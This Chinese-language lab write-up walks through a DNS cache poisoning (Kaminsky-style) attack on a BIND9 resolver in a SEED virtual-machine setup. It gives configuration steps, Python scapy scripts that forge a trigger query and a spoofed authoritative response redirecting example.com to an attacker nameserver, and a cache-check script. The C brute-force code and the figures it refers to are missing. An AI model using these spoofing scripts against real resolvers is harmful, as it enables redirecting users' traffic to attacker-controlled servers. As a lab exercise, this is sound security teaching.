0x00 搭建實驗環境
使用3台Ubuntu 16.04虛擬機,可到下面的參考鏈接下載
攻擊的服務是BIND9,由於條件限制,這里使用本地的一台虛擬機當作遠程DNS解析器,關閉了DNSSEC服務,其中三台機器IP地址,如下圖所示:
具體的實驗環境搭建過程,可參考:SEED Lab Description
配置User VM:
在用戶機 的 /etc/resolvconf/resolv.conf.d/head
文件中,加入下面語句,將其Local DNS 設為 10.0.2.5。
更新 resolv.conf 文件
sudo resolvconf -u
進行驗證:dig www.example.com
,SERVER 為 要設置的Local DNS ip ,即表示設置成功。
配置 Local DNS Server VM:
編輯 /etc/bind/named.conf.options文件,①關閉DNSSEC ②將緩存 存放在dump.db文件 ③設置查詢請求源端口為33333
編輯 /etc/bind/named.conf文件,紅框中的 可以幫助我們在 attack32.com不存在的情況下,也能進行轉發。(在本地域名服務器里面設置,到查詢這個域名,不去詢問根域名,不用買域名服務器,去詢問10.0.2.6,其他域名還是去根域名依次遞歸查詢找的。)
全配置好之后,重啟bind9服務。
sudo service bind9 restart
配置 attacker VM:
編輯 /etc/bind/named.conf 文件,設置兩個attack32.com,example.com兩個域。
編輯 /etc/bind/attack32.com.zone 文件
編輯 /etc/bind/example.com.zone文件
這里的含義是,如果緩存中毒,會把攻擊者的機器當作權威域名服務器,向其 發出詢問,而攻擊者機器下的example.com.zone 文件時偽造的,欺騙的。
全配置好之后,重啟bind9服務
sudo service bind9 restart
0x01攻擊概述
攻擊條件
①攻擊者無法進行鏈路上的竊聽,但具有IP欺騙能力,攻擊者擁有一台attack32.com域名服務器。
②服務器沒有開啟DNSSEC功能。
③服務器沒有進行源端口隨機化,且已知發出查詢的源端口為33333。
攻擊模型
①攻擊者先向DNS 解析器發送一個xxxxx.example.com 的DNS查詢報文,觸發解析器去向根域名服務器,頂級域名服務器,權威域名服務器遞歸解析。
②遞歸解析器向權威域名服務器發出查詢請求。
③攻擊者發送大量的偽造的權威域名服務器響應數據包,其中使用NS記錄,將example.com整個域的查詢 轉向attack32.com,攻擊者的域名,實現緩存中毒。一旦TXID命中,即可造成緩存中毒。
④真正的權威域名服務器進行響應。
0x02 實驗代碼
思路:使用C代碼偽造DNS數據包 代碼運行速度較快,完全可以滿足攻擊要求,但構造過程較為復雜,使用python scapy庫的方式,構造數據包簡單,但執行速度較慢,使Local DNS 緩存中毒難度較大。
綜合以上,我們打算 結合二者,先用python scapy 庫構造數據包,保存為二進制文件,然后再用C語言去加載構造的數據包,在相應的偏移位置做出修改。( 可以使用bless工具去查看偏移量 )。
因為需要去循環進行查詢,爆破相應transaction ID,所以我們要修改的在觸發查詢的請求包中主要是請求的域名,在響應包里面需要修改域名,transaction ID。
偽造請求包觸發DNS解析器遞歸查詢
from scapy.all import *
target_name="xxxxx.example.com"
ip = IP(dst='10.0.2.5',src='10.0.2.6') #dst為Local DNS IP,src是攻擊者IP。
udp = UDP(dport=53,sport=1234,chksum=0)
qds = DNSQR(qname=target_name)
dns = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=qds)
Querypkt= ip/udp/dns
with open('Query.bin','wb')as f:
f.write(bytes(Querypkt))
使用bless 查看偏移量:
發現xxxxx.example.com 在數據包中的偏移量為0x29,及轉化為十進制為41。
后面會使用C code 進行修改。
偽造響應包
from scapy.all import *
targetName="xxxxx.example.com"
targetDomain="example.com"
attackerNS ="ns.attack32.com"
dstIP="10.0.2.5"
srcIP='199.43.135.53'
ip = IP(dst=dstIP,src=srcIP,chksum=0)
udp = UDP(dport=33333,sport=53,chksum=0)
Qdsec = DNSQR(qname=targetName)
Ansec = DNSRR(rrname=targetName,type='A',rdata='1.2.3.4',ttl=259200)
NSsec = DNSRR(rrname=targetDomain,type='NS',rdata=attackerNS,ttl=259200)
dns = DNS(id=0xAAAA,aa=1,rd=1,qr=1,qdcount=1,ancount=1,nscount=1,arcount=0,qd=Qdsec,an=Ansec,ns=NSsec)
Replypkt = ip/udp/dns
with open('Reply.bin','wb') as f:
f.write(bytes(Replypkt))
使用bless查看偏移量:
因為之前我們生成的響應數據包transaction ID為0xAAAA,所以這里我們可以直接查找16進制代碼找到,偏移量為0x1c,十進制為28。
同理,第一個xxxxx.example.com 在數據包中的偏移量為0x29,41,第二個xxxxx.example.com 在數據包中的偏移量為0x40,64。
C攻擊代碼:
0x03 詳細過程
dig www.example.com
進行解析,可得到正常情況下的地址為93.184.216.34
未發動攻擊前,使用check.sh查看緩存,緩存中並沒有相應記錄。
注意使用raw socket 要使用 sudo進行執行程序。
程序運行過程:
0x04 結果驗證
在Local DNS sever 端 寫了一個bash腳本check.sh,進行驗證,也可直接在terminal終端使用中間兩條命令。
#!/bin/bash
echo 'dump the cache'
sudo rndc dumpdb -cache
cat /var/cache/bind/dump.db | grep attack
echo 'if there is no result,the attack has not succeed yet'
sudo rndc dumpdb -cache 將bind的緩存轉存到/var/cache/bind/dump.db
中
cat /var/cache/bind/dump.db | grep attack 查看dump.db文件, grep attack 查找帶有attack的。
大約十秒左右,即可在Sever VM,通過check.sh腳本查看到結果。
然后在User VM,進行驗證。
攻擊成功!